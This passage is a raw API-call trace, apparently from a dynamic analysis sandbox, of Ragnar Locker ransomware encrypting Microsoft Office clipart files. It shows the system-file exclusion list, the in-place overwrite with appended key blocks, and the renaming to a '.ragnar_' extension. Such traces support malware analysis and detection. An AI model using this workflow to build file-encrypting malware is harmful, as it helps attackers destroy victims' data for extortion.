Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned=".WMF" [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="autorun.inf") returned 1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="boot.ini") returned 1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="bootfont.bin") returned 1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="bootsect.bak") returned 1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="bootmgr") returned 1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="bootmgr.efi") returned 1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="bootmgfw.efi") returned 1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="desktop.ini") returned 1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="iconcache.db") returned 1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="ntldr") returned -1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="ntuser.dat") returned -1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="ntuser.dat.log") returned -1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="ntuser.ini") returned -1 [0083.936] lstrcmpiW (lpString1="J0106124.WMF", lpString2="thumbs.db") returned -1 [0083.936] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.936] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.936] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.936] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.937] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.937] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.937] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf")) returned 0x20 [0083.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.937] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5812) returned 1 [0083.937] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.937] GetProcessHeap () returned 0x580000 [0083.937] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.937] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.938] VirtualAlloc (lpAddress=0x0, dwSize=0x16b4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.939] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.939] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.939] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16b4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16b4, lpOverlapped=0x0) returned 1 [0083.939] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.940] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16b4, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.940] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16b4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16b4, lpOverlapped=0x0) returned 1 [0083.940] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16b4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.940] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.940] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.940] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.940] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.940] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.940] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.940] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.940] GetProcessHeap () returned 0x580000 [0083.941] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.941] CloseHandle (hObject=0xf4) returned 1 [0083.941] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" [0083.941] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.ragnar_FD7BD9FC" [0083.941] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.941] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1 [0083.941] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.941] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0106146.WMF" | out: lpString1="J0106146.WMF") returned="J0106146.WMF" [0083.941] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned=".WMF" [0083.941] lstrcmpiW (lpString1="J0106146.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.941] lstrcmpiW (lpString1="J0106146.WMF", lpString2="autorun.inf") returned 1 [0083.941] lstrcmpiW (lpString1="J0106146.WMF", lpString2="boot.ini") returned 1 [0083.941] lstrcmpiW (lpString1="J0106146.WMF", lpString2="bootfont.bin") returned 1 [0083.942] lstrcmpiW (lpString1="J0106146.WMF", lpString2="bootsect.bak") returned 1 [0083.942] lstrcmpiW (lpString1="J0106146.WMF", lpString2="bootmgr") returned 1 [0083.942] lstrcmpiW (lpString1="J0106146.WMF", lpString2="bootmgr.efi") returned 1 [0083.942] lstrcmpiW (lpString1="J0106146.WMF", lpString2="bootmgfw.efi") returned 1 [0083.942] lstrcmpiW (lpString1="J0106146.WMF", lpString2="desktop.ini") returned 1 [0083.942] lstrcmpiW (lpString1="J0106146.WMF", lpString2="iconcache.db") returned 1 [0083.942] lstrcmpiW (lpString1="J0106146.WMF", lpString2="ntldr") returned -1 [0083.942] lstrcmpiW (lpString1="J0106146.WMF", lpString2="ntuser.dat") returned -1 [0083.942] lstrcmpiW (lpString1="J0106146.WMF", lpString2="ntuser.dat.log") returned -1 [0083.942] lstrcmpiW (lpString1="J0106146.WMF", lpString2="ntuser.ini") returned -1 [0083.942] lstrcmpiW (lpString1="J0106146.WMF", lpString2="thumbs.db") returned -1 [0083.942] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.942] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.942] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.942] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.942] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.942] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.942] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 0x20 [0083.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.942] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=23548) returned 1 [0083.942] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5bf3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.943] GetProcessHeap () returned 0x580000 [0083.943] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.943] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.944] VirtualAlloc (lpAddress=0x0, dwSize=0x5bfc, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.944] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.944] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.944] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5bfc, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5bfc, lpOverlapped=0x0) returned 1 [0083.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.946] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5bfc, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.946] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5bfc, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5bfc, lpOverlapped=0x0) returned 1 [0083.946] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5bfc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.946] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.946] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5bfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.946] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.946] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.946] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.947] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.947] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.947] GetProcessHeap () returned 0x580000 [0083.947] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.947] CloseHandle (hObject=0xf4) returned 1 [0083.947] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" [0083.947] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.ragnar_FD7BD9FC" [0083.947] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.947] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1 [0083.947] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.947] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0106208.WMF" | out: lpString1="J0106208.WMF") returned="J0106208.WMF" [0083.948] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned=".WMF" [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="autorun.inf") returned 1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="boot.ini") returned 1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="bootfont.bin") returned 1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="bootsect.bak") returned 1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="bootmgr") returned 1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="bootmgr.efi") returned 1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="bootmgfw.efi") returned 1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="desktop.ini") returned 1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="iconcache.db") returned 1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="ntldr") returned -1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="ntuser.dat") returned -1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="ntuser.dat.log") returned -1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="ntuser.ini") returned -1 [0083.948] lstrcmpiW (lpString1="J0106208.WMF", lpString2="thumbs.db") returned -1 [0083.948] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.948] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.948] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.948] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.948] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.948] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.948] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf")) returned 0x20 [0083.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.950] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11900) returned 1 [0083.950] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.950] GetProcessHeap () returned 0x580000 [0083.950] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.950] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.951] VirtualAlloc (lpAddress=0x0, dwSize=0x2e7c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.952] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.952] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.952] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2e7c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2e7c, lpOverlapped=0x0) returned 1 [0083.953] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.953] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e7c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.953] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2e7c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2e7c, lpOverlapped=0x0) returned 1 [0083.953] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e7c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.953] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.953] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e7c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.953] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.953] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.953] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.954] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.954] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.954] GetProcessHeap () returned 0x580000 [0083.954] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.954] CloseHandle (hObject=0xf4) returned 1 [0083.954] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" [0083.954] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.ragnar_FD7BD9FC" [0083.954] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.955] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1 [0083.955] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.955] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0106222.WMF" | out: lpString1="J0106222.WMF") returned="J0106222.WMF" [0083.955] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned=".WMF" [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="autorun.inf") returned 1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="boot.ini") returned 1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="bootfont.bin") returned 1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="bootsect.bak") returned 1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="bootmgr") returned 1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="bootmgr.efi") returned 1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="bootmgfw.efi") returned 1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="desktop.ini") returned 1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="iconcache.db") returned 1 [0083.955] lstrcmpiW (lpString1="J0106222.WMF", lpString2="ntldr") returned -1 [0083.955] 